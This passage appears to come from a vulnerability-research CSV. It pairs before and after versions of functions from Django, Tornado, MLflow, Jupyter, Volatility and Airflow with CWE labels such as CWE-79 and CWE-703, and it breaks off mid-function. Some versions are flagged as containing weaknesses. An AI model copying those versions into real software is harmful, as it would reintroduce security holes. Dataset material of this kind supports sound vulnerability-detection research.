    * {{ num1|floatformat }} displays ""34.2""
    * {{ num2|floatformat }} displays ""34""
    * {{ num3|floatformat }} displays ""34.3""

    If arg is positive, always display exactly arg number of decimal places:

    * {{ num1|floatformat:3 }} displays ""34.232""
    * {{ num2|floatformat:3 }} displays ""34.000""
    * {{ num3|floatformat:3 }} displays ""34.260""

    If arg is negative, display arg number of decimal places -- but only if
    there are places to be displayed:

    * {{ num1|floatformat:""-3"" }} displays ""34.232""
    * {{ num2|floatformat:""-3"" }} displays ""34""
    * {{ num3|floatformat:""-3"" }} displays ""34.260""

    If arg has the 'g' suffix, force the result to be grouped by the
    THOUSAND_SEPARATOR for the active locale. When the active locale is
    en (English):

    * {{ 6666.6666|floatformat:""2g"" }} displays ""6,666.67""
    * {{ 10000|floatformat:""g"" }} displays ""10,000""

    If arg has the 'u' suffix, force the result to be unlocalized. When the
    active locale is pl (Polish):

    * {{ 66666.6666|floatformat:""2"" }} displays ""66666,67""
    * {{ 66666.6666|floatformat:""2u"" }} displays ""66666.67""

    If the input float is infinity or NaN, display the string representation
    of that value.
    """"""
    force_grouping = False
    use_l10n = True
    if isinstance(arg, str):
        last_char = arg[-1]
        if arg[-2:] in {""gu"", ""ug""}:
            force_grouping = True
            use_l10n = False
            arg = arg[:-2] or -1
        elif last_char == ""g"":
            force_grouping = True
            arg = arg[:-1] or -1
        elif last_char == ""u"":
            use_l10n = False
            arg = arg[:-1] or -1
    try:
        input_val = str(text)
        d = Decimal(input_val)
    except InvalidOperation:
        try:
            d = Decimal(str(float(text)))
        except (ValueError, InvalidOperation, TypeError):
            return """"
    try:
        p = int(arg)
    except ValueError:
        return input_val

    try:
        m = int(d) - d
    except (ValueError, OverflowError, InvalidOperation):
        return input_val

    if not m and p < 0:
        return mark_safe(
            formats.number_format(
                ""%d"" % (int(d)),
                0,
                use_l10n=use_l10n,
                force_grouping=force_grouping,
            )
        )

    exp = Decimal(1).scaleb(-abs(p))
    # Set the precision high enough to avoid an exception (#15789).
    tupl = d.as_tuple()
    units = len(tupl[1])
    units += -tupl[2] if m else tupl[2]
    prec = abs(p) + units + 1

    # Avoid conversion to scientific notation by accessing `sign`, `digits`,
    # and `exponent` from Decimal.as_tuple() directly.
    rounded_d = d.quantize(exp, ROUND_HALF_UP, Context(prec=prec))
    sign, digits, exponent = rounded_d.as_tuple()
    digits = [str(digit) for digit in reversed(digits)]
    while len(digits) <= abs(exponent):
        digits.append(""0"")
    digits.insert(-exponent, ""."")
    if sign and rounded_d:
        digits.append(""-"")
    number = """".join(reversed(digits))
    return mark_safe(
        formats.number_format(
            number,
            abs(p),
            use_l10n=use_l10n,
            force_grouping=force_grouping,
        )
    )",CWE-79,django/django,08c5a787262c1ae57f6517d4574b54a5fcaad124,"def floatformat(text, arg=-1):
    """"""
    Display a float to a specified number of decimal places.

    If called without an argument, display the floating point number with one
    decimal place -- but only if there's a decimal place to be displayed:

    * num1 = 34.23234
    * num2 = 34.00000
    * num3 = 34.26000
    * {{ num1|floatformat }} displays ""34.2""
    * {{ num2|floatformat }} displays ""34""
    * {{ num3|floatformat }} displays ""34.3""

    If arg is positive, always display exactly arg number of decimal places:

    * {{ num1|floatformat:3 }} displays ""34.232""
    * {{ num2|floatformat:3 }} displays ""34.000""
    * {{ num3|floatformat:3 }} displays ""34.260""

    If arg is negative, display arg number of decimal places -- but only if
    there are places to be displayed:

    * {{ num1|floatformat:""-3"" }} displays ""34.232""
    * {{ num2|floatformat:""-3"" }} displays ""34""
    * {{ num3|floatformat:""-3"" }} displays ""34.260""

    If arg has the 'g' suffix, force the result to be grouped by the
    THOUSAND_SEPARATOR for the active locale. When the active locale is
    en (English):

    * {{ 6666.6666|floatformat:""2g"" }} displays ""6,666.67""
    * {{ 10000|floatformat:""g"" }} displays ""10,000""

    If arg has the 'u' suffix, force the result to be unlocalized. When the
    active locale is pl (Polish):

    * {{ 66666.6666|floatformat:""2"" }} displays ""66666,67""
    * {{ 66666.6666|floatformat:""2u"" }} displays ""66666.67""

    If the input float is infinity or NaN, display the string representation
    of that value.
    """"""
    force_grouping = False
    use_l10n = True
    if isinstance(arg, str):
        last_char = arg[-1]
        if arg[-2:] in {""gu"", ""ug""}:
            force_grouping = True
            use_l10n = False
            arg = arg[:-2] or -1
        elif last_char == ""g"":
            force_grouping = True
            arg = arg[:-1] or -1
        elif last_char == ""u"":
            use_l10n = False
            arg = arg[:-1] or -1
    try:
        input_val = repr(text)
        d = Decimal(input_val)
    except InvalidOperation:
        try:
            d = Decimal(str(float(text)))
        except (ValueError, InvalidOperation, TypeError):
            return """"
    try:
        p = int(arg)
    except ValueError:
        return input_val

    try:
        m = int(d) - d
    except (ValueError, OverflowError, InvalidOperation):
        return input_val

    if not m and p < 0:
        return mark_safe(
            formats.number_format(
                ""%d"" % (int(d)),
                0,
                use_l10n=use_l10n,
                force_grouping=force_grouping,
            )
        )

    exp = Decimal(1).scaleb(-abs(p))
    # Set the precision high enough to avoid an exception (#15789).
    tupl = d.as_tuple()
    units = len(tupl[1])
    units += -tupl[2] if m else tupl[2]
    prec = abs(p) + units + 1

    # Avoid conversion to scientific notation by accessing `sign`, `digits`,
    # and `exponent` from Decimal.as_tuple() directly.
    rounded_d = d.quantize(exp, ROUND_HALF_UP, Context(prec=prec))
    sign, digits, exponent = rounded_d.as_tuple()
    digits = [str(digit) for digit in reversed(digits)]
    while len(digits) <= abs(exponent):
        digits.append(""0"")
    digits.insert(-exponent, ""."")
    if sign and rounded_d:
        digits.append(""-"")
    number = """".join(reversed(digits))
    return mark_safe(
        formats.number_format(
            number,
            abs(p),
            use_l10n=use_l10n,
            force_grouping=force_grouping,
        )
    )"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/iostream_test.py,0,"def make_iostream_pair(self, **kwargs):
        listener, port = bind_unused_port()
        streams = [None, None]

        def accept_callback(connection, address):
            streams[0] = self._make_server_iostream(connection, **kwargs)
            self.stop()

        def connect_callback():
            streams[1] = client_stream
            self.stop()
        netutil.add_accept_handler(listener, accept_callback,
                                   io_loop=self.io_loop)
        client_stream = self._make_client_iostream(socket.socket(), **kwargs)
        client_stream.connect(('127.0.0.1', port),
                              callback=connect_callback)
        self.wait(condition=lambda: all(streams))
        self.io_loop.remove_handler(listener.fileno())
        listener.close()
        return streams",CWE-Unknown,tornadoweb/tornado,62d8f121789a80e09a498ab09266bc40c6974689,"def make_iostream_pair(self, **kwargs):
        listener, port = bind_unused_port()
        streams = [None, None]

        def accept_callback(connection, address):
            streams[0] = self._make_server_iostream(connection, **kwargs)
            if isinstance(streams[0], SSLIOStream):
                # HACK: The SSL handshake won't complete (and
                # therefore the client connect callback won't be
                # run)until the server side has tried to do something
                # with the connection.  For these tests we want both
                # sides to connect before we do anything else with the
                # connection, so we must cause some dummy activity on the
                # server.  If this turns out to be useful for real apps
                # it should have a cleaner interface.
                streams[0]._add_io_state(IOLoop.READ)
            self.stop()

        def connect_callback():
            streams[1] = client_stream
            self.stop()
        netutil.add_accept_handler(listener, accept_callback,
                                   io_loop=self.io_loop)
        client_stream = self._make_client_iostream(socket.socket(), **kwargs)
        client_stream.connect(('127.0.0.1', port),
                              callback=connect_callback)
        self.wait(condition=lambda: all(streams))
        self.io_loop.remove_handler(listener.fileno())
        listener.close()
        return streams"
,UNKNOWN,UNKNOWN,tests/h2o/test_h2o_model_export.py,1,"def test_model_save_persists_specified_conda_env_in_mlflow_model_directory(
        h2o_iris_model, model_path, h2o_custom_env):
    mlflow.h2o.save_model(h2o_model=h2o_iris_model.model, path=model_path, conda_env=h2o_custom_env)

    pyfunc_conf = _get_flavor_configuration(model_path=model_path, flavor_name=pyfunc.FLAVOR_NAME)
    saved_conda_env_path = os.path.join(model_path, pyfunc_conf[pyfunc.ENV])
    assert os.path.exists(saved_conda_env_path)
    assert saved_conda_env_path != h2o_custom_env

    with open(h2o_custom_env, ""r"") as f:
        h2o_custom_env_text = f.read()
    with open(saved_conda_env_path, ""r"") as f:
        saved_conda_env_text = f.read()
    assert saved_conda_env_text == h2o_custom_env_text",CWE-703,mlflow/mlflow,c89dea168eaa8ea05a8b91c4e6f22922d23a7f17,"def test_model_save_persists_specified_conda_env_in_mlflow_model_directory(
        h2o_iris_model, model_path, h2o_custom_env):
    mlflow.h2o.save_model(h2o_model=h2o_iris_model.model, path=model_path, conda_env=h2o_custom_env)

    pyfunc_conf = _get_flavor_configuration(model_path=model_path, flavor_name=pyfunc.FLAVOR_NAME)
    saved_conda_env_path = os.path.join(model_path, pyfunc_conf[pyfunc.ENV])
    assert os.path.exists(saved_conda_env_path)
    assert saved_conda_env_path != h2o_custom_env

    with open(h2o_custom_env, ""r"") as f:
        h2o_custom_env_text = f.read()
    with open(saved_conda_env_path, ""r"") as f:
        saved_conda_env_text = f.read()
    assert saved_conda_env_text == h2o_custom_env_text"
,UNKNOWN,UNKNOWN,mlflow/store/artifact/artifact_repo.py,1,"def download_artifacts(self, artifact_path, dst_path=None):
        """"""
        Download an artifact file or directory to a local directory if applicable, and return a
        local path for it.
        The caller is responsible for managing the lifecycle of the downloaded artifacts.

        :param artifact_path: Relative source path to the desired artifacts.
        :param dst_path: Absolute path of the local filesystem destination directory to which to
                         download the specified artifacts. This directory must already exist.
                         If unspecified, the artifacts will either be downloaded to a new
                         uniquely-named directory on the local filesystem or will be returned
                         directly in the case of the LocalArtifactRepository.

        :return: Absolute path of the local filesystem location containing the desired artifacts.
        """"""
        # Represents an in-progress file artifact download to a local filesystem location
        InflightDownload = namedtuple(
            ""InflightDownload"",
            [
                # The artifact path, given relative to the repository's artifact root location
                ""src_artifact_path"",
                # The local filesystem destination path to which artifacts are being downloaded
                ""dst_local_path"",
                # A future representing the artifact download operation
                ""download_future"",
            ],
        )

        def async_download_artifact(src_artifact_path, dst_local_dir_path):
            """"""
            Download the file artifact specified by `src_artifact_path` to the local filesystem
            directory specified by `dst_local_dir_path`.
            :param src_artifact_path: A relative, POSIX-style path referring to a file artifact
                                      stored within the repository's artifact root location.
                                      `src_artifact_path` should be specified relative to the
                                      repository's artifact root location.
            :param dst_local_dir_path: Absolute path of the local filesystem destination directory
                                       to which to download the specified artifact. The downloaded
                                       artifact may be written to a subdirectory of
                                       `dst_local_dir_path` if `src_artifact_path` contains
                                       subdirectories.
            :return: A local filesystem path referring to the downloaded file.
            """"""
            inflight_downloads = []
            local_destination_file_path = self._create_download_destination(
                src_artifact_path=src_artifact_path, dst_local_dir_path=dst_local_dir_path
            )
            download_future = self.thread_pool.submit(
                self._download_file,
                remote_file_path=src_artifact_path,
                local_path=local_destination_file_path,
            )
            inflight_downloads.append(
                InflightDownload(
                    src_artifact_path=src_artifact_path,
                    dst_local_path=local_destination_file_path,
                    download_future=download_future,
                )
            )
            return inflight_downloads

        def async_download_artifact_dir(src_artifact_dir_path, dst_local_dir_path):
            """"""
            Initiate an asynchronous download of the artifact directory specified by
            `src_artifact_dir_path` to the local filesystem directory specified by
            `dst_local_dir_path`.

            This implementation is adapted from
            https://github.com/mlflow/mlflow/blob/a776b54fa8e1beeca6a984864c6375e9ed38f8c0/mlflow/
            store/artifact/artifact_repo.py#L93.

            :param src_artifact_dir_path: A relative, POSIX-style path referring to a directory of
                                          of artifacts stored within the repository's artifact root
                                          location. `src_artifact_dir_path` should be specified
                                          relative to the repository's artifact root location.
            :param dst_local_dir_path: Absolute path of the local filesystem destination directory
                                       to which to download the specified artifact directory. The
                                       downloaded artifacts may be written to a subdirectory of
                                       `dst_local_dir_path` if `src_artifact_dir_path` contains
                                       subdirectories.
            :return: A tuple whose first element is the destination directory of the downloaded
                     artifacts on the local filesystem and whose second element is a list of
                     `InflightDownload` objects, each of which represents an inflight asynchronous
                     download operation for a file in the specified artifact directory.
            """"""
            local_dir = os.path.join(dst_local_dir_path, src_artifact_dir_path)
            inflight_downloads = []
            dir_content = [  # prevent infinite loop, sometimes the dir is recursively included
                file_info
                for file_info in self.list_artifacts(src_artifact_dir_path)
                if file_info.path != ""."" and file_info.path != src_artifact_dir_path
            ]
            if not dir_content:  # empty dir
                if not os.path.exists(local_dir):
                    os.makedirs(local_dir, exist_ok=True)
            else:
                for file_info in dir_content:
                    if file_info.is_dir:
                        inflight_downloads += async_download_artifact_dir(
                            src_artifact_dir_path=file_info.path,
                            dst_local_dir_path=dst_local_dir_path,
                        )[1]
                    else:
                        inflight_downloads += async_download_artifact(
                            src_artifact_path=file_info.path,
                            dst_local_dir_path=dst_local_dir_path,
                        )
            return local_dir, inflight_downloads

        if dst_path is None:
            dst_path = tempfile.mkdtemp()
        dst_path = os.path.abspath(dst_path)

        if not os.path.exists(dst_path):
            raise MlflowException(
                message=(
                    ""The destination path for downloaded artifacts does not""
                    f"" exist! Destination path: {dst_path}""
                ),
                error_code=RESOURCE_DOES_NOT_EXIST,
            )
        elif not os.path.isdir(dst_path):
            raise MlflowException(
                message=(
                    ""The destination path for downloaded artifacts must be a directory!""
                    f"" Destination path: {dst_path}""
                ),
                error_code=INVALID_PARAMETER_VALUE,
            )

        # Check if the artifacts points to a directory
        if self._is_directory(artifact_path):
            dst_local_path, inflight_downloads = async_download_artifact_dir(
                src_artifact_dir_path=artifact_path, dst_local_dir_path=dst_path
            )
        else:
            inflight_downloads = async_download_artifact(
                src_artifact_path=artifact_path, dst_local_dir_path=dst_path
            )
            assert (
                len(inflight_downloads) == 1
            ), ""Expected one inflight download for a file artifact, got {} downloads"".format(
                len(inflight_downloads)
            )
            dst_local_path = inflight_downloads[0].dst_local_path

        # Join futures to ensure that all artifacts have been downloaded prior to returning
        failed_downloads = {}
        for inflight_download in inflight_downloads:
            try:
                inflight_download.download_future.result()
            except Exception as e:
                failed_downloads[inflight_download.src_artifact_path] = repr(e)

        if len(failed_downloads) > 0:
            raise MlflowException(
                message=(
                    ""The following failures occurred while downloading one or more""
                    "" artifacts from {artifact_root}: {failures}"".format(
                        artifact_root=self.artifact_uri,
                        failures=failed_downloads,
                    )
                )
            )
        return dst_local_path",CWE-703,mlflow/mlflow,9eeeff414d119c7df72b10da3dda8daf000d85ea,"def download_artifacts(self, artifact_path, dst_path=None):
        """"""
        Download an artifact file or directory to a local directory if applicable, and return a
        local path for it.
        The caller is responsible for managing the lifecycle of the downloaded artifacts.

        :param artifact_path: Relative source path to the desired artifacts.
        :param dst_path: Absolute path of the local filesystem destination directory to which to
                         download the specified artifacts. This directory must already exist.
                         If unspecified, the artifacts will either be downloaded to a new
                         uniquely-named directory on the local filesystem or will be returned
                         directly in the case of the LocalArtifactRepository.

        :return: Absolute path of the local filesystem location containing the desired artifacts.
        """"""
        # Represents an in-progress file artifact download to a local filesystem location
        InflightDownload = namedtuple(
            ""InflightDownload"",
            [
                # The artifact path, given relative to the repository's artifact root location
                ""src_artifact_path"",
                # The local filesystem destination path to which artifacts are being downloaded
                ""dst_local_path"",
                # A future representing the artifact download operation
                ""download_future"",
            ],
        )

        def async_download_artifact(src_artifact_path, dst_local_dir_path):
            """"""
            Download the file artifact specified by `src_artifact_path` to the local filesystem
            directory specified by `dst_local_dir_path`.
            :param src_artifact_path: A relative, POSIX-style path referring to a file artifact
                                      stored within the repository's artifact root location.
                                      `src_artifact_path` should be specified relative to the
                                      repository's artifact root location.
            :param dst_local_dir_path: Absolute path of the local filesystem destination directory
                                       to which to download the specified artifact. The downloaded
                                       artifact may be written to a subdirectory of
                                       `dst_local_dir_path` if `src_artifact_path` contains
                                       subdirectories.
            :return: A local filesystem path referring to the downloaded file.
            """"""
            inflight_downloads = []
            local_destination_file_path = self._create_download_destination(
                src_artifact_path=src_artifact_path, dst_local_dir_path=dst_local_dir_path
            )
            download_future = self.thread_pool.submit(
                self._download_file,
                remote_file_path=src_artifact_path,
                local_path=local_destination_file_path,
            )
            inflight_downloads.append(
                InflightDownload(
                    src_artifact_path=src_artifact_path,
                    dst_local_path=local_destination_file_path,
                    download_future=download_future,
                )
            )
            return inflight_downloads

        def async_download_artifact_dir(src_artifact_dir_path, dst_local_dir_path):
            """"""
            Initiate an asynchronous download of the artifact directory specified by
            `src_artifact_dir_path` to the local filesystem directory specified by
            `dst_local_dir_path`.

            This implementation is adapted from
            https://github.com/mlflow/mlflow/blob/a776b54fa8e1beeca6a984864c6375e9ed38f8c0/mlflow/
            store/artifact/artifact_repo.py#L93.

            :param src_artifact_dir_path: A relative, POSIX-style path referring to a directory of
                                          of artifacts stored within the repository's artifact root
                                          location. `src_artifact_dir_path` should be specified
                                          relative to the repository's artifact root location.
            :param dst_local_dir_path: Absolute path of the local filesystem destination directory
                                       to which to download the specified artifact directory. The
                                       downloaded artifacts may be written to a subdirectory of
                                       `dst_local_dir_path` if `src_artifact_dir_path` contains
                                       subdirectories.
            :return: A tuple whose first element is the destination directory of the downloaded
                     artifacts on the local filesystem and whose second element is a list of
                     `InflightDownload` objects, each of which represents an inflight asynchronous
                     download operation for a file in the specified artifact directory.
            """"""
            local_dir = os.path.join(dst_local_dir_path, src_artifact_dir_path)
            inflight_downloads = []
            dir_content = [  # prevent infinite loop, sometimes the dir is recursively included
                file_info
                for file_info in self.list_artifacts(src_artifact_dir_path)
                if file_info.path != ""."" and file_info.path != src_artifact_dir_path
            ]
            if not dir_content:  # empty dir
                if not os.path.exists(local_dir):
                    os.makedirs(local_dir, exist_ok=True)
            else:
                for file_info in dir_content:
                    if file_info.is_dir:
                        inflight_downloads += async_download_artifact_dir(
                            src_artifact_dir_path=file_info.path,
                            dst_local_dir_path=dst_local_dir_path,
                        )[1]
                    else:
                        inflight_downloads += async_download_artifact(
                            src_artifact_path=file_info.path,
                            dst_local_dir_path=dst_local_dir_path,
                        )
            return local_dir, inflight_downloads

        if dst_path is None:
            dst_path = tempfile.mkdtemp()
        dst_path = os.path.abspath(dst_path)

        if not os.path.exists(dst_path):
            raise MlflowException(
                message=(
                    ""The destination path for downloaded artifacts does not""
                    "" exist! Destination path: {dst_path}"".format(dst_path=dst_path)
                ),
                error_code=RESOURCE_DOES_NOT_EXIST,
            )
        elif not os.path.isdir(dst_path):
            raise MlflowException(
                message=(
                    ""The destination path for downloaded artifacts must be a directory!""
                    "" Destination path: {dst_path}"".format(dst_path=dst_path)
                ),
                error_code=INVALID_PARAMETER_VALUE,
            )

        # Check if the artifacts points to a directory
        if self._is_directory(artifact_path):
            dst_local_path, inflight_downloads = async_download_artifact_dir(
                src_artifact_dir_path=artifact_path, dst_local_dir_path=dst_path
            )
        else:
            inflight_downloads = async_download_artifact(
                src_artifact_path=artifact_path, dst_local_dir_path=dst_path
            )
            assert (
                len(inflight_downloads) == 1
            ), ""Expected one inflight download for a file artifact, got {} downloads"".format(
                len(inflight_downloads)
            )
            dst_local_path = inflight_downloads[0].dst_local_path

        # Join futures to ensure that all artifacts have been downloaded prior to returning
        failed_downloads = {}
        for inflight_download in inflight_downloads:
            try:
                inflight_download.download_future.result()
            except Exception as e:
                failed_downloads[inflight_download.src_artifact_path] = repr(e)

        if len(failed_downloads) > 0:
            raise MlflowException(
                message=(
                    ""The following failures occurred while downloading one or more""
                    "" artifacts from {artifact_root}: {failures}"".format(
                        artifact_root=self.artifact_uri,
                        failures=failed_downloads,
                    )
                )
            )
        return dst_local_path"
,UNKNOWN,UNKNOWN,IPython/html/services/notebooks/tests/test_notebooks_api.py,1,"def _check_nb_created(self, resp, name, path):
        self.assertEqual(resp.status_code, 201)
        location_header = py3compat.str_to_unicode(resp.headers['Location'])
        self.assertEqual(location_header, url_escape(url_path_join(u'/api/notebooks', path, name)))
        self.assertEqual(resp.json()['name'], name)
        assert os.path.isfile(pjoin(
            self.notebook_dir.name,
            path.replace('/', os.path.sep),
            name,
        ))",CWE-703,jupyter/notebook,dfb538d881153993157a12e260e848d9057018ad,"def _check_nb_created(self, resp, name, path):
        self.assertEqual(resp.status_code, 201)
        location_header = py3compat.str_to_unicode(resp.headers['Location'])
        self.assertEqual(location_header, url_escape(url_path_join(u'/api/notebooks', path, name)))
        self.assertEqual(resp.json()['name'], name)
        assert os.path.isfile(pjoin(self.notebook_dir.name, path, name))"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/kdbgscan.py,0,"def calculate(self):
        """"""Determines the address space""""""
        profilelist = [ p.__name__ for p in registry.PROFILES.classes ]

        proflens = {}
        maxlen = 0
        origprofile = self._config.PROFILE
        for p in profilelist:
            self._config.update('PROFILE', p)
            buf = addrspace.BufferAddressSpace(self._config)
            proflens[p] = str(obj.VolMagic(buf).KDBGHeader)
            maxlen = max(maxlen, len(proflens[p]))
        self._config.update('PROFILE', origprofile)

        scanner = KDBGScanner(needles = proflens.values())

        aspace = utils.load_as(self._config, astype = 'any')

        for offset in scanner.scan(aspace):
            val = aspace.read(offset, maxlen + 0x10)
            for l in proflens:
                if val.find(proflens[l]) >= 0:
                    if hasattr(aspace, 'vtop'):
                        yield l, aspace.vtop(offset), offset
                    else:
                        yield l, offset, None",,volatilityfoundation/volatility,64d61dae5040df28108febb055571b6170d53ef8,"def calculate(self):
        """"""Determines the address space""""""
        profilelist = [ p.__name__ for p in registry.PROFILES.classes ]

        proflens = {}
        maxlen = 0
        origprofile = self._config.PROFILE
        for p in profilelist:
            self._config.update('PROFILE', p)
            buf = addrspace.BufferAddressSpace(self._config)
            proflens[p] = str(obj.VolMagic(buf).KDBGHeader)
            maxlen = max(maxlen, len(proflens[p]))
        self._config.update('PROFILE', origprofile)

        proflens.update({'WinXPSP0x64':'\x00\xf8\xff\xffKDBG\x90\x02',
                         'Win7SP0x64':'\x00\xf8\xff\xffKDBG\x40\x03',
                         'Win2003SP0x64':'\x00\xf8\xff\xffKDBG\x18\x03',
                         'Win2008SP0x64':'\x00\xf8\xff\xffKDBG\x30\x03',
                         'VistaSP0x64':'\x00\xf8\xff\xffKDBG\x28\x03'})

        scanner = KDBGScanner(needles = proflens.values())

        aspace = utils.load_as(self._config, astype = 'any')

        for offset in scanner.scan(aspace):
            val = aspace.read(offset, maxlen + 0x10)
            for l in proflens:
                if val.find(proflens[l]) >= 0:
                    if hasattr(aspace, 'vtop'):
                        yield l, aspace.vtop(offset), offset
                    else:
                        yield l, offset, None"
,UNKNOWN,UNKNOWN,airflow/www/views.py,1,"def trigger(self, dag_id: str, session: Session = NEW_SESSION):
        """"""Triggers DAG Run.""""""
        run_id = request.values.get(""run_id"", """").replace("" "", ""+"")
        origin = get_safe_url(request.values.get(""origin""))
        unpause = request.values.get(""unpause"")
        request_conf = request.values.get(""conf"")
        request_execution_date = request.values.get(""execution_date"", default=timezone.utcnow().isoformat())
        is_dag_run_conf_overrides_params = conf.getboolean(""core"", ""dag_run_conf_overrides_params"")
        dag = get_airflow_app().dag_bag.get_dag(dag_id)
        dag_orm: DagModel = session.scalar(select(DagModel).where(DagModel.dag_id == dag_id).limit(1))

        # Prepare form fields with param struct details to render a proper form with schema information
        form_fields = {}
        allow_raw_html_descriptions = conf.getboolean(""webserver"", ""allow_raw_html_descriptions"")
        form_trust_problems = []
        for k, v in dag.params.items():
            form_fields[k] = v.dump()
            form_field: dict = form_fields[k]
            # If no schema is provided, auto-detect on default values
            if ""schema"" not in form_field:
                form_field[""schema""] = {}
            form_field_schema: dict = form_field[""schema""]
            if ""type"" not in form_field_schema:
                form_field_value = form_field[""value""]
                if isinstance(form_field_value, bool):
                    form_field_schema[""type""] = ""boolean""
                elif isinstance(form_field_value, int):
                    form_field_schema[""type""] = [""integer"", ""null""]
                elif isinstance(form_field_value, list):
                    form_field_schema[""type""] = [""array"", ""null""]
                elif isinstance(form_field_value, dict):
                    form_field_schema[""type""] = [""object"", ""null""]
            # Mark HTML fields as safe if allowed
            if allow_raw_html_descriptions:
                if ""description_html"" in form_field_schema:
                    form_field[""description""] = Markup(form_field_schema[""description_html""])
                if ""custom_html_form"" in form_field_schema:
                    form_field_schema[""custom_html_form""] = Markup(form_field_schema[""custom_html_form""])
            else:
                if ""description_html"" in form_field_schema and ""description_md"" not in form_field_schema:
                    form_trust_problems.append(f""Field {k} uses HTML description"")
                    form_field[""description""] = form_field_schema.pop(""description_html"")
                if ""custom_html_form"" in form_field_schema:
                    form_trust_problems.append(f""Field {k} uses custom HTML form definition"")
                    form_field_schema.pop(""custom_html_form"")
            if ""description_md"" in form_field_schema:
                form_field[""description""] = wwwutils.wrapped_markdown(form_field_schema[""description_md""])
        if form_trust_problems:
            flash(
                Markup(
                    ""At least one field in the trigger form uses a raw HTML form definition. This is not allowed for ""
                    ""security. Please switch to markdown description via <code>description_md</code>. ""
                    ""Raw HTML is deprecated and must be enabled via ""
                    ""<code>webserver.allow_raw_html_descriptions</code> configuration parameter. Using plain text ""
                    ""as fallback for these fields. ""
                    f""<ul><li>{'</li><li>'.join(form_trust_problems)}</li></ul>""
                ),
                ""warning"",
            )
        if allow_raw_html_descriptions and any(""description_html"" in p.schema for p in dag.params.values()):
            flash(
                Markup(
                    ""The form params use raw HTML in <code>description_html</code> which is deprecated. ""
                    ""Please migrate to <code>description_md</code>.""
                ),
                ""warning"",
            )
        if allow_raw_html_descriptions and any(""custom_html_form"" in p.schema for p in dag.params.values()):
            flash(
                Markup(
                    ""The form params use <code>custom_html_form</code> definition. ""
                    ""This is deprecated with Airflow 2.8.0 and will be removed in a future release.""
                ),
                ""warning"",
            )

        ui_fields_defined = any(""const"" not in f[""schema""] for f in form_fields.values())
        show_trigger_form_if_no_params = conf.getboolean(""webserver"", ""show_trigger_form_if_no_params"")

        if not dag_orm:
            flash(f""Cannot find dag {dag_id}"")
            return redirect(origin)

        if dag_orm.has_import_errors:
            flash(f""Cannot create dagruns because the dag {dag_id} has import errors"", ""error"")
            return redirect(origin)

        recent_runs = session.execute(
            select(DagRun.conf, func.max(DagRun.run_id).label(""run_id""), func.max(DagRun.execution_date))
            .where(
                DagRun.dag_id == dag_id,
                DagRun.run_type == DagRunType.MANUAL,
                DagRun.conf.isnot(None),
            )
            .group_by(DagRun.conf)
            .order_by(func.max(DagRun.execution_date).desc())
            .limit(5)
        )
        recent_confs = {
            run_id: json.dumps(run_conf)
            for run_id, run_conf in ((run.run_id, run.conf) for run in recent_runs)
            if isinstance(run_conf, dict) and any(run_conf)
        }

        if request.method == ""GET"" and (ui_fields_defined or show_trigger_form_if_no_params):
            # Populate conf textarea with conf requests parameter, or dag.params
            default_conf = """"

            doc_md = wwwutils.wrapped_markdown(getattr(dag, ""doc_md"", None))
            form = DateTimeForm(data={""execution_date"": request_execution_date})

            if request_conf:
                default_conf = request_conf
            else:
                try:
                    default_conf = json.dumps(
                        {str(k): v.resolve(suppress_exception=True) for k, v in dag.params.items()},
                        indent=4,
                        ensure_ascii=False,
                    )
                except TypeError:
                    flash(""Could not pre-populate conf field due to non-JSON-serializable data-types"")
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                dag=dag,
                dag_id=dag_id,
                origin=origin,
                conf=default_conf,
                doc_md=doc_md,
                form=form,
                is_dag_run_conf_overrides_params=is_dag_run_conf_overrides_params,
                recent_confs=recent_confs,
            )

        try:
            execution_date = timezone.parse(request_execution_date, strict=True)
        except ParserError:
            flash(""Invalid execution date"", ""error"")
            form = DateTimeForm(data={""execution_date"": timezone.utcnow().isoformat()})
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                dag=dag,
                dag_id=dag_id,
                origin=origin,
                conf=request_conf or {},
                form=form,
                is_dag_run_conf_overrides_params=is_dag_run_conf_overrides_params,
                recent_confs=recent_confs,
            )

        dr = DagRun.find_duplicate(dag_id=dag_id, run_id=run_id, execution_date=execution_date)
        if dr:
            if dr.run_id == run_id:
                message = f""The run ID {run_id} already exists""
            else:
                message = f""The logical date {execution_date} already exists""
            flash(message, ""error"")
            return redirect(origin)

        regex = conf.get(""scheduler"", ""allowed_run_id_pattern"")
        if run_id and not re2.match(RUN_ID_REGEX, run_id):
            if not regex.strip() or not re2.match(regex.strip(), run_id):
                flash(
                    f""The provided run ID '{run_id}' is invalid. It does not match either ""
                    f""the configured pattern: '{regex}' or the built-in pattern: '{RUN_ID_REGEX}'"",
                    ""error"",
                )

                form = DateTimeForm(data={""execution_date"": execution_date})
                return self.render_template(
                    ""airflow/trigger.html"",
                    form_fields=form_fields,
                    dag=dag,
                    dag_id=dag_id,
                    origin=origin,
                    conf=request_conf,
                    form=form,
                    is_dag_run_conf_overrides_params=is_dag_run_conf_overrides_params,
                    recent_confs=recent_confs,
                )

        run_conf = {}
        if request_conf:
            try:
                run_conf = json.loads(request_conf)
                if not isinstance(run_conf, dict):
                    flash(""Invalid JSON configuration, must be a dict"", ""error"")
                    form = DateTimeForm(data={""execution_date"": execution_date})
                    return self.render_template(
                        ""airflow/trigger.html"",
                        form_fields=form_fields,
                        dag=dag,
                        dag_id=dag_id,
                        origin=origin,
                        conf=request_conf,
                        form=form,
                        is_dag_run_conf_overrides_params=is_dag_run_conf_overrides_params,
                        recent_confs=recent_confs,
                    )
            except json.decoder.JSONDecodeError:
                flash(""Invalid JSON configuration, not parseable"", ""error"")
                form = DateTimeForm(data={""execution_date"": execution_date})
                return self.render_template(
                    ""airflow/trigger.html"",
                    form_fields=form_fields,
                    dag=dag,
                    dag_id=dag_id,
                    origin=origin,
                    conf=request_conf,
                    form=form,
                    is_dag_run_conf_overrides_params=is_dag_run_conf_overrides_params,
                    recent_confs=recent_confs,
                )

        if dag.get_is_paused():
            if unpause or not ui_fields_defined:
                flash(f""Unpaused DAG {dag_id}."")
                dag_model = models.DagModel.get_dagmodel(dag_id)
                if dag_model is not None:
                    dag_model.set_is_paused(is_paused=False)
            else:
                flash(
                    f""DAG {dag_id} is paused, unpause if you want to have the triggered run being executed."",
                    ""warning"",
                )

        try:
            dag.create_dagrun(
                run_type=DagRunType.MANUAL,
                execution_date=execution_date,
